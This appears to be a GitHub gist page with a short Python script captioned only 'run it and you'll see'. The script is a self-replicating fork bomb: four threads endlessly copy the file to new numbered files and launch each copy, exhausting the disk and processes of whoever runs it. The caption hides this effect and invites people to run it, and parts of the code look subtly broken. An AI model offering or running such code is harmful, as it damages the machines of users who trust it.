Created
August 29, 2018 18:01
-
-
Save joshdabosh/267ee81cfa3e1d08eb41b5238ec24950 to your computer and use it in GitHub Desktop.
run it and you'll see
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import threading | |
import shutil | |
import subprocess | |
import os | |
def copyfile(folder): | |
x = 0 | |
while True: | |
shutil.copy(__file__, "file{}.py".format(x)) | |
subprocess.call("python3 file{}.py".format(x)) | |
x+=1 | |
for i in range(4): | |
os.makedirs("folder{}".format(i)) | |
t = threading.Thread(target=copyfile,args=("./folder{}".format(i))) | |
t.daemon = True | |
t.start() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment